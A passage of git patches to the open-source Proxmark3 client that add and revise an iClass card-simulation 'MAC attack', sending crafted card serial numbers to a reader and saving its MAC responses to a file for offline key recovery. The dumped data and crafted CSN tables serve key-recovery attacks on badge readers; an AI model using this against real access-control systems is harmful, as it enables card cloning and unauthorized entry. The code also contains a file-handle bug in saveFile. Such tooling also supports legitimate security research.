/*102*/ 0x00,0x7B,0x7F,0xAF,0xF7,0xFF,0x12,0xE0, // 5111000045014545 51 + /*103*/ 0x00,0x51,0x55,0x2D,0xF7,0xFF,0x12,0xE0, // 533B000045014545 53 + /*104*/ 0x00,0x28,0x2A,0xAC,0xF7,0xFF,0x12,0xE0, // 5466000045014545 54 + /*105*/ 0x02,0x53,0x55,0x29,0xF7,0xFF,0x12,0xE0, // 573B000045014545 57 + /*106*/ 0x00,0x2A,0x2C,0xA6,0xF7,0xFF,0x12,0xE0, // 5A64000045014545 5A + /*107*/ 0x00,0x7C,0x46,0x20,0xF7,0xFF,0x12,0xE0, // 604A000045014545 60 + /*108*/ 0x02,0x03,0x05,0x19,0xF7,0xFF,0x12,0xE0, // 670B000045014545 67 + /*109*/ 0x01,0x2F,0x34,0x90,0xF7,0xFF,0x12,0xE0, // 705C000045014545 70 + /*110*/ 0x00,0x32,0x34,0x8E,0xF7,0xFF,0x12,0xE0, // 725C000045014545 72 + /*111*/ 0x00,0x31,0x35,0x8D,0xF7,0xFF,0x12,0xE0, // 735B000045014545 73 + /*112*/ 0x00,0x08,0x0A,0x0C,0xF7,0xFF,0x12,0xE0, // 7406000045014545 74 + /*113*/ 0x03,0x37,0x32,0x8A,0xF7,0xFF,0x12,0xE0, // 765E000045014545 76 + /*114*/ 0x00,0x0D,0x09,0x09,0xF7,0xFF,0x12,0xE0, // 7707000045014545 77 + /*115*/ 0x00,0x0A,0x0C,0x06,0xF7,0xFF,0x12,0xE0, // 7A04000045014545 7A + /*116*/ 0x00,0x60,0x62,0x04,0xF7,0xFF,0x12,0xE0, // 7C2E000045014545 7C + /*117*/ 0x00,0x07,0x03,0x1B,0xF7,0xFF,0x12,0xE0, // 650D000045014545 65 + /*118*/ 0x00,0x0C,0x16,0xF0,0xF7,0xFF,0x12,0xE0, // 107A000045014545 10 + /*119*/ 0x00,0x6F,0x6B,0xE3,0xF7,0xFF,0x12,0xE0, // 1D25000045014545 25 + /*120*/ 0x00,0x2F,0x2B,0xA3,0xF7,0xFF,0x12,0xE0, // 5D65000045014545 5D + /*121*/ 0x00,0x47,0x43,0x5B,0xF7,0xFF,0x12,0xE0, // 254D000045014545 4D + /*122*/ 0x00,0x37,0x33,0x8B,0xF7,0xFF,0x12,0xE0, // 755D000045014545 75 + /*123*/ 0x00,0x1F,0x1B,0xD3,0xF7,0xFF,0x12,0xE0, // 2D75000045014545 2D + /*124*/ 0x00,0x67,0x63,0xFB,0xF7,0xFF,0x12,0xE0, // 052D000045014545 05 + /*125*/ 0x00,0x0F,0x0B,0x03,0xF7,0xFF,0x12,0xE0, // 7D05000045014545 7D + /*126*/ 0x00,0x17,0x13,0xEB,0xF7,0xFF,0x12,0xE0, // 157D000045014545 15 + }; + + memcpy(c2.d.asBytes, csns2, sizeof(c2.d.asBytes)); + + SendCommand(&c); + if (!WaitForResponseTimeout(CMD_ACK, &resp2, -1)) { + PrintAndLog("Command timed out"); + return 0; + } + uint8_t num_mac_responses_2 = resp2.arg[1]; + PrintAndLog("Mac responses, second part : %d MACs obtained (should be 63)", num_mac_responses_2); + size_t datalen = 126 * 16; + /* + * Now, time to dump to file. We'll use this format: + * <8-byte CSN><8-byte MAC>.... + * So, it should wind up as + * (63+63) * (8 + 8 ) bytes. + **/ + void* macs = malloc(datalen); + uint8_t i = 0; + while(i < 63) + { + memcpy(macs+i*16, csns1+i*8,8); + memcpy(macs+i*16+8, resp.d.asBytes+i*8,8); + + memcpy(macs+i*16+63*16, csns2+i*8,8); + memcpy(macs+i*16+8+63*16, resp2.d.asBytes+i*8,8); + i++; + } + /** Now, save to dumpfile **/ + saveFile("iclass_mac_attack", "bin", macs,datalen); + free(macs); + }else + { + UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}}; + memcpy(c.d.asBytes, CSN, 8); + SendCommand(&c); + } return 0; } @@ -440,3 +575,53 @@ int CmdHelp(const char *Cmd) CmdsHelp(CommandTable); return 0; } + +/** + * @brief checks if a file exists + * @param filename + * @return + */ +int fileExists(const char *filename) { + struct stat st; + int result = stat(filename, &st); + return result == 0; +} +/** + * @brief Utility function to save data to a file. This method takes a preferred name, but if that + * file already exists, it tries with another name until it finds something suitable. + * E.g. dumpdata-15.txt + * @param preferredName + * @param suffix the file suffix. Leave out the ".". + * @param data The binary data to write to the file + * @param datalen the length of the data + * @return + */ +int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen) +{ + FILE *f = fopen(preferredName, "wb"); + int size = sizeof(char) * (strlen(preferredName)+strlen(suffix)+5); + char * fileName = malloc(size); + + memset(fileName,0,size); + int num = 1; + sprintf(fileName,"%s.%s", preferredName, suffix); + while(fileExists(fileName)) + { + sprintf(fileName,"%s-%d.%s", preferredName, num, suffix); + num++; + } + /* We should have a valid filename now, e.g. dumpdata-3.bin */ + + /*Opening file for writing in binary mode*/ + FILE *fileHandle=fopen(fileName,"wb"); + if(!f) { + PrintAndLog("Failed to write to file '%s'", fileName); + return 0; + } + fwrite(data, 1, datalen, fileHandle); + fclose(fileHandle); + PrintAndLog("Saved data to '%s'", fileName); + + free(fileName); + return 0; +} diff --git a/client/cmdhficlass.h b/client/cmdhficlass.h index c1bf60c7..98c79e4b 100644 --- a/client/cmdhficlass.h +++ b/client/cmdhficlass.h @@ -18,5 +18,6 @@ int CmdHFiClassSnoop(const char *Cmd); int CmdHFiClassSim(const char *Cmd); int CmdHFiClassList(const char *Cmd); int CmdHFiClassReader(const char *Cmd); +int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen); #endif From 77abe781af30bb7ac36cc22aa5bdcbb70b4e1a94 Mon Sep 17 00:00:00 2001 From: Martin Holst Swende Date: Fri, 27 Jun 2014 12:52:28 +0200 Subject: [PATCH 8/8] fix for better csns --- client/cmdhficlass.c | 192 +++++++------------------------------------ 1 file changed, 31 insertions(+), 161 deletions(-) diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index f31bced7..b8e1e098 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -329,7 +329,7 @@ int CmdHFiClassSim(const char *Cmd) PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8)); } - if(simType > 5) + if(simType > 2) { PrintAndLog("Undefined simptype %d", simType); return 1; @@ -341,73 +341,17 @@ int CmdHFiClassSim(const char *Cmd) UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,63}}; UsbCommand resp = {0}; - uint8_t csns1[] ={ - /* Order Simulated CSN HASH1 Recovered key bytes */ - /* 1 */ 0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0,// 0101000045014545 00,01 45 - /* 2 */ 0x03,0x0B,0x0E,0xFE,0xF7,0xFF,0x12,0xE0,// 0202000045014545 02 - /* 3 */ 0x04,0x0D,0x0D,0xFD,0xF7,0xFF,0x12,0xE0,// 0303000045014545 03 - /* 4 */ 0x04,0x0F,0x0F,0xF7,0xF7,0xFF,0x12,0xE0,// 0901000045014545 09 - /* 5 */ 0x01,0x13,0x10,0xF4,0xF7,0xFF,0x12,0xE0,// 0C00000045014545 0C - /* 6 */ 0x02,0x14,0x10,0xF2,0xF7,0xFF,0x12,0xE0,// 0E00000045014545 0E - /* 7 */ 0x05,0x17,0x10,0xEC,0xF7,0xFF,0x12,0xE0,// 1400000045014545 14 - /* 8 */ 0x00,0x6B,0x6F,0xDF,0xF7,0xFF,0x12,0xE0,// 2121000045014545 21 - /* 9 */ 0x03,0x6B,0x6E,0xDE,0xF7,0xFF,0x12,0xE0,// 2222000045014545 22 - /* 10 */ 0x04,0x6D,0x6D,0xDD,0xF7,0xFF,0x12,0xE0,// 2323000045014545 23 - /* 11 */ 0x00,0x4F,0x4B,0x43,0xF7,0xFF,0x12,0xE0,// 3D45000045014545 3D - /* 12 */ 0x00,0x4B,0x4F,0x3F,0xF7,0xFF,0x12,0xE0,// 4141000045014545 41 - /* 13 */ 0x03,0x4B,0x4E,0x3E,0xF7,0xFF,0x12,0xE0,// 4242000045014545 42 - /* 14 */ 0x04,0x4D,0x4D,0x3D,0xF7,0xFF,0x12,0xE0,// 4343000045014545 43 - /* 15 */ 0x04,0x37,0x37,0x7F,0xF7,0xFF,0x12,0xE0,// 0159000045014545 59 - /* 16 */ 0x00,0x2B,0x2F,0x9F,0xF7,0xFF,0x12,0xE0,// 6161000045014545 61 - /* 17 */ 0x03,0x2B,0x2E,0x9E,0xF7,0xFF,0x12,0xE0,// 6262000045014545 62 - /* 18 */ 0x04,0x2D,0x2D,0x9D,0xF7,0xFF,0x12,0xE0,// 6363000045014545 63 - /* 19 */ 0x00,0x27,0x23,0xBB,0xF7,0xFF,0x12,0xE0,// 456D000045014545 6D - /* 20 */ 0x02,0x52,0xAA,0x80,0xF7,0xFF,0x12,0xE0,// 0066000045014545 66 - /* 21 */ 0x00,0x5C,0xA6,0x80,0xF7,0xFF,0x12,0xE0,// 006A000045014545 6A - /* 22 */ 0x01,0x5F,0xA4,0x80,0xF7,0xFF,0x12,0xE0,// 006C000045014545 6C - /* 23 */ 0x06,0x5E,0xA2,0x80,0xF7,0xFF,0x12,0xE0,// 006E000045014545 6E - /* 24 */ 0x02,0x0E,0x0E,0xFC,0xF7,0xFF,0x12,0xE0,// 0402000045014545 04 - /* 25 */ 0x05,0x0D,0x0E,0xFA,0xF7,0xFF,0x12,0xE0,// 0602000045014545 06 - /* 26 */ 0x06,0x0F,0x0D,0xF9,0xF7,0xFF,0x12,0xE0,// 0703000045014545 07 - /* 27 */ 0x00,0x01,0x05,0x1D,0xF7,0xFF,0x12,0xE0,// 630B000045014545 0B - /* 28 */ 0x02,0x07,0x01,0x1D,0xF7,0xFF,0x12,0xE0,// 630F000045014545 0F - /* 29 */ 0x04,0x7F,0x7F,0xA7,0xF7,0xFF,0x12,0xE0,// 5911000045014545 11 - /* 30 */ 0x04,0x60,0x6E,0xE8,0xF7,0xFF,0x12,0xE0,// 1822000045014545 18 - /*31*/ 0x04,0x77,0x77,0xBF,0xF7,0xFF,0x12,0xE0, // 4119000045014545 19 - /*32*/ 0x00,0x69,0x6D,0xE5,0xF7,0xFF,0x12,0xE0, // 1B23000045014545 1B - /*33*/ 0x01,0x69,0x6E,0xE2,0xF7,0xFF,0x12,0xE0, // 1E22000045014545 1E - /*34*/ 0x02,0x6B,0x6D,0xE1,0xF7,0xFF,0x12,0xE0, // 1F23000045014545 1F - /*35*/ 0x01,0x3F,0x04,0xE0,0xF7,0xFF,0x12,0xE0, // 200C000045014545 20 - /*36*/ 0x02,0x6E,0x6E,0xDC,0xF7,0xFF,0x12,0xE0, // 2422000045014545 24 - /*37*/ 0x05,0x6D,0x6E,0xDA,0xF7,0xFF,0x12,0xE0, // 2622000045014545 26 - /*38*/ 0x06,0x6F,0x6D,0xD9,0xF7,0xFF,0x12,0xE0, // 2723000045014545 27 - /*39*/ 0x01,0x6B,0x68,0xEC,0xF7,0xFF,0x12,0xE0, // 1428000045014545 28 - /*40*/ 0x04,0x6F,0x6F,0xD7,0xF7,0xFF,0x12,0xE0, // 2921000045014545 29 - /*41*/ 0x02,0x66,0x66,0xF4,0xF7,0xFF,0x12,0xE0, // 0C2A000045014545 2A - /*42*/ 0x00,0x61,0x65,0xFD,0xF7,0xFF,0x12,0xE0, // 032B000045014545 2B - /*43*/ 0x00,0x62,0x64,0xFE,0xF7,0xFF,0x12,0xE0, // 022C000045014545 2C - /*44*/ 0x01,0x65,0x62,0xFE,0xF7,0xFF,0x12,0xE0, // 022E000045014545 2E - /*45*/ 0x02,0x67,0x61,0xFD,0xF7,0xFF,0x12,0xE0, // 032F000045014545 2F - /*46*/ 0x00,0x5F,0x5B,0x13,0xF7,0xFF,0x12,0xE0, // 6D35000045014545 35 - /*47*/ 0x00,0x44,0x4E,0x48,0xF7,0xFF,0x12,0xE0, // 3842000045014545 38 - /*48*/ 0x00,0x53,0x57,0x27,0xF7,0xFF,0x12,0xE0, // 5939000045014545 39 - /*49*/ 0x00,0x49,0x4D,0x45,0xF7,0xFF,0x12,0xE0, // 3B43000045014545 3B - /*50*/ 0x01,0x49,0x4E,0x42,0xF7,0xFF,0x12,0xE0, // 3E42000045014545 3E - /*51*/ 0x02,0x4B,0x4D,0x41,0xF7,0xFF,0x12,0xE0, // 3F43000045014545 3F - /*52*/ 0x02,0x4E,0x4E,0x3C,0xF7,0xFF,0x12,0xE0, // 4442000045014545 44 - /*53*/ 0x05,0x4D,0x4E,0x3A,0xF7,0xFF,0x12,0xE0, // 4642000045014545 46 - /*54*/ 0x06,0x4F,0x4D,0x39,0xF7,0xFF,0x12,0xE0, // 4743000045014545 47 - /*55*/ 0x01,0x77,0x7C,0xB8,0xF7,0xFF,0x12,0xE0, // 4814000045014545 48 - /*56*/ 0x04,0x4F,0x4F,0x37,0xF7,0xFF,0x12,0xE0, // 4941000045014545 49 - /*57*/ 0x00,0x7A,0x7C,0xB6,0xF7,0xFF,0x12,0xE0, // 4A14000045014545 4A - /*58*/ 0x00,0x41,0x45,0x5D,0xF7,0xFF,0x12,0xE0, // 234B000045014545 4B - /*59*/ 0x00,0x42,0x44,0x5E,0xF7,0xFF,0x12,0xE0, // 224C000045014545 4C - /*60*/ 0x01,0x45,0x42,0x5E,0xF7,0xFF,0x12,0xE0, // 224E000045014545 4E - /*61*/ 0x02,0x47,0x41,0x5D,0xF7,0xFF,0x12,0xE0, // 234F000045014545 4F - /*62*/ 0x04,0x7E,0x7C,0xAE,0xF7,0xFF,0x12,0xE0, // 5214000045014545 52 - /*63*/ 0x00,0x57,0x53,0x2B,0xF7,0xFF,0x12,0xE0, // 553D000045014545 55 - }; - memcpy(c.d.asBytes, csns1, sizeof(c.d.asBytes)); + uint8_t csns[64] = { + 0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0 , + 0x00,0x13,0x94,0x7e,0x76,0xff,0x12,0xe0 , + 0x2a,0x99,0xac,0x79,0xec,0xff,0x12,0xe0 , + 0x17,0x12,0x01,0xfd,0xf7,0xff,0x12,0xe0 , + 0xcd,0x56,0x01,0x7c,0x6f,0xff,0x12,0xe0 , + 0x4b,0x5e,0x0b,0x72,0xef,0xff,0x12,0xe0 , + 0x00,0x73,0xd8,0x75,0x58,0xff,0x12,0xe0 , + 0x0c,0x90,0x32,0xf3,0x5d,0xff,0x12,0xe0 }; + + memcpy(c.d.asBytes, csns, 64); SendCommand(&c); if (!WaitForResponseTimeout(CMD_ACK, &resp, -1)) { @@ -415,108 +359,34 @@ int CmdHFiClassSim(const char *Cmd) return 0; } - uint8_t num_mac_responses_1 = resp.arg[1]; - PrintAndLog("Mac responses, first part : %d MACs obtained (should be 63)", num_mac_responses_1); + uint8_t num_mac_responses = resp.arg[1]; + PrintAndLog("Mac responses: %d MACs obtained (should be 8)", num_mac_responses); - UsbCommand c2 = {CMD_SIMULATE_TAG_ICLASS, {simType,63}}; - UsbCommand resp2 = {0}; - - uint8_t csns2[] ={ - /*64*/ 0x04,0x3C,0x3A,0x74,0xF7,0xFF,0x12,0xE0, // 0C56000045014545 56 - /*65*/ 0x00,0x24,0x2E,0xA8,0xF7,0xFF,0x12,0xE0, // 5862000045014545 58 - /*66*/ 0x00,0x29,0x2D,0xA5,0xF7,0xFF,0x12,0xE0, // 5B63000045014545 5B - /*67*/ 0x00,0x00,0x02,0x24,0xF7,0xFF,0x12,0xE0, // 5C0E000045014545 5C - /*68*/ 0x01,0x29,0x2E,0xA2,0xF7,0xFF,0x12,0xE0, // 5E62000045014545 5E - /*69*/ 0x02,0x2B,0x2D,0xA1,0xF7,0xFF,0x12,0xE0, // 5F63000045014545 5F - /*70*/ 0x02,0x2E,0x2E,0x9C,0xF7,0xFF,0x12,0xE0, // 6462000045014545 64 - /*71*/ 0x02,0x0A,0x02,0x18,0xF7,0xFF,0x12,0xE0, // 680E000045014545 68 - /*72*/ 0x00,0x03,0x07,0x17,0xF7,0xFF,0x12,0xE0, // 6909000045014545 69 - /*73*/ 0x00,0x21,0x25,0xBD,0xF7,0xFF,0x12,0xE0, // 436B000045014545 6B - /*74*/ 0x02,0x27,0x21,0xBD,0xF7,0xFF,0x12,0xE0, // 436F000045014545 6F - /*75*/ 0x04,0x07,0x07,0x0F,0xF7,0xFF,0x12,0xE0, // 7109000045014545 71 - /*76*/ 0x00,0x04,0x0E,0x08,0xF7,0xFF,0x12,0xE0, // 7802000045014545 78 - /*77*/ 0x00,0x33,0x37,0x87,0xF7,0xFF,0x12,0xE0, // 7959000045014545 79 - /*78*/ 0x00,0x09,0x0D,0x05,0xF7,0xFF,0x12,0xE0, // 7B03000045014545 7B - /*79*/ 0x01,0x09,0x0E,0x02,0xF7,0xFF,0x12,0xE0, // 7E02000045014545 7E - /*80*/ 0x02,0x0B,0x0D,0x01,0xF7,0xFF,0x12,0xE0, // 7F03000045014545 7F - /*81*/ 0x00,0x34,0x3E,0x78,0xF7,0xFF,0x12,0xE0, // 0852000045014545 08 - /*82*/ 0x04,0x66,0x64,0xF6,0xF7,0xFF,0x12,0xE0, // 0A2C000045014545 0A - /*83*/ 0x00,0x3F,0x3B,0x73,0xF7,0xFF,0x12,0xE0, // 0D55000045014545 0D - /*84*/ 0x03,0x3B,0x3E,0x6E,0xF7,0xFF,0x12,0xE0, // 1252000045014545 12 - /*85*/ 0x00,0x11,0x15,0xED,0xF7,0xFF,0x12,0xE0, // 137B000045014545 13 - /*86*/ 0x00,0x6E,0x68,0xEA,0xF7,0xFF,0x12,0xE0, // 1628000045014545 16 - /*87*/ 0x00,0x6D,0x69,0xE9,0xF7,0xFF,0x12,0xE0, // 1727000045014545 17 - /*88*/ 0x00,0x6A,0x6C,0xE6,0xF7,0xFF,0x12,0xE0, // 1A24000045014545 1A - /*89*/ 0x00,0x40,0x42,0x64,0xF7,0xFF,0x12,0xE0, // 1C4E000045014545 1C - /*90*/ 0x00,0x77,0x73,0xCB,0xF7,0xFF,0x12,0xE0, // 351D000045014545 1D - /*91*/ 0x06,0x6E,0x72,0xD0,0xF7,0xFF,0x12,0xE0, // 301E000045014545 30 - /*92*/ 0x00,0x1B,0x1F,0xCF,0xF7,0xFF,0x12,0xE0, // 3171000045014545 31 - /*93*/ 0x01,0x75,0x72,0xCE,0xF7,0xFF,0x12,0xE0, // 321E000045014545 32 - /*94*/ 0x00,0x71,0x75,0xCD,0xF7,0xFF,0x12,0xE0, // 331B000045014545 33 - /*95*/ 0x00,0x48,0x4A,0x4C,0xF7,0xFF,0x12,0xE0, // 3446000045014545 34 - /*96*/ 0x00,0x4E,0x48,0x4A,0xF7,0xFF,0x12,0xE0, // 3648000045014545 36 - /*97*/ 0x00,0x4D,0x49,0x49,0xF7,0xFF,0x12,0xE0, // 3747000045014545 37 - /*98*/ 0x00,0x4A,0x4C,0x46,0xF7,0xFF,0x12,0xE0, // 3A44000045014545 3A - /*99*/ 0x00,0x20,0x22,0xC4,0xF7,0xFF,0x12,0xE0, // 3C6E000045014545 3C - /*100*/ 0x00,0x1C,0x66,0x40,0xF7,0xFF,0x12,0xE0, // 402A000045014545 40 - /*101*/ 0x06,0x4E,0x52,0x30,0xF7,0xFF,0x12,0xE0, // 503E000045014545 50 - /*102*/ 0x00,0x7B,0x7F,0xAF,0xF7,0xFF,0x12,0xE0, // 5111000045014545 51 - /*103*/ 0x00,0x51,0x55,0x2D,0xF7,0xFF,0x12,0xE0, // 533B000045014545 53 - /*104*/ 0x00,0x28,0x2A,0xAC,0xF7,0xFF,0x12,0xE0, // 5466000045014545 54 - /*105*/ 0x02,0x53,0x55,0x29,0xF7,0xFF,0x12,0xE0, // 573B000045014545 57 - /*106*/ 0x00,0x2A,0x2C,0xA6,0xF7,0xFF,0x12,0xE0, // 5A64000045014545 5A - /*107*/ 0x00,0x7C,0x46,0x20,0xF7,0xFF,0x12,0xE0, // 604A000045014545 60 - /*108*/ 0x02,0x03,0x05,0x19,0xF7,0xFF,0x12,0xE0, // 670B000045014545 67 - /*109*/ 0x01,0x2F,0x34,0x90,0xF7,0xFF,0x12,0xE0, // 705C000045014545 70 - /*110*/ 0x00,0x32,0x34,0x8E,0xF7,0xFF,0x12,0xE0, // 725C000045014545 72 - /*111*/ 0x00,0x31,0x35,0x8D,0xF7,0xFF,0x12,0xE0, // 735B000045014545 73 - /*112*/ 0x00,0x08,0x0A,0x0C,0xF7,0xFF,0x12,0xE0, // 7406000045014545 74 - /*113*/ 0x03,0x37,0x32,0x8A,0xF7,0xFF,0x12,0xE0, // 765E000045014545 76 - /*114*/ 0x00,0x0D,0x09,0x09,0xF7,0xFF,0x12,0xE0, // 7707000045014545 77 - /*115*/ 0x00,0x0A,0x0C,0x06,0xF7,0xFF,0x12,0xE0, // 7A04000045014545 7A - /*116*/ 0x00,0x60,0x62,0x04,0xF7,0xFF,0x12,0xE0, // 7C2E000045014545 7C - /*117*/ 0x00,0x07,0x03,0x1B,0xF7,0xFF,0x12,0xE0, // 650D000045014545 65 - /*118*/ 0x00,0x0C,0x16,0xF0,0xF7,0xFF,0x12,0xE0, // 107A000045014545 10 - /*119*/ 0x00,0x6F,0x6B,0xE3,0xF7,0xFF,0x12,0xE0, // 1D25000045014545 25 - /*120*/ 0x00,0x2F,0x2B,0xA3,0xF7,0xFF,0x12,0xE0, // 5D65000045014545 5D - /*121*/ 0x00,0x47,0x43,0x5B,0xF7,0xFF,0x12,0xE0, // 254D000045014545 4D - /*122*/ 0x00,0x37,0x33,0x8B,0xF7,0xFF,0x12,0xE0, // 755D000045014545 75 - /*123*/ 0x00,0x1F,0x1B,0xD3,0xF7,0xFF,0x12,0xE0, // 2D75000045014545 2D - /*124*/ 0x00,0x67,0x63,0xFB,0xF7,0xFF,0x12,0xE0, // 052D000045014545 05 - /*125*/ 0x00,0x0F,0x0B,0x03,0xF7,0xFF,0x12,0xE0, // 7D05000045014545 7D - /*126*/ 0x00,0x17,0x13,0xEB,0xF7,0xFF,0x12,0xE0, // 157D000045014545 15 - }; - - memcpy(c2.d.asBytes, csns2, sizeof(c2.d.asBytes)); - - SendCommand(&c); - if (!WaitForResponseTimeout(CMD_ACK, &resp2, -1)) { - PrintAndLog("Command timed out"); - return 0; - } - uint8_t num_mac_responses_2 = resp2.arg[1]; - PrintAndLog("Mac responses, second part : %d MACs obtained (should be 63)", num_mac_responses_2); - size_t datalen = 126 * 16; + size_t datalen = 8*24; /* * Now, time to dump to file. We'll use this format: - * <8-byte CSN><8-byte MAC>.... + * <8-byte CSN><8-byte CC><4 byte NR><4 byte MAC>.... * So, it should wind up as - * (63+63) * (8 + 8 ) bytes. + * 8 * 24 bytes. + * + * The returndata from the pm3 is on the following format + * <4 byte NR><4 byte MAC> + * CC are all zeroes, CSN is the same as was sent in **/ - void* macs = malloc(datalen); + void* dump = malloc(datalen); + memset(dump,0,datalen);//<-- Need zeroes for the CC-field uint8_t i = 0; - while(i < 63) + for(i = 0 ; i < 8 ; i++) { - memcpy(macs+i*16, csns1+i*8,8); - memcpy(macs+i*16+8, resp.d.asBytes+i*8,8); + memcpy(dump+i*24, csns+i*8,8); //CSN + //8 zero bytes here... + //Then comes NR_MAC (eight bytes from the response) + memcpy(dump+i*24+16,resp.d.asBytes+i*8,8); - memcpy(macs+i*16+63*16, csns2+i*8,8); - memcpy(macs+i*16+8+63*16, resp2.d.asBytes+i*8,8); - i++; } /** Now, save to dumpfile **/ - saveFile("iclass_mac_attack", "bin", macs,datalen); - free(macs); + saveFile("iclass_mac_attack", "bin", dump,datalen); + free(dump); }else { UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}}; @@ -594,7 +464,7 @@ int fileExists(const char *filename) { * @param suffix the file suffix. Leave out the ".". * @param data The binary data to write to the file * @param datalen the length of the data - * @return + * @return 0 for ok, 1 for failz */ int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen) {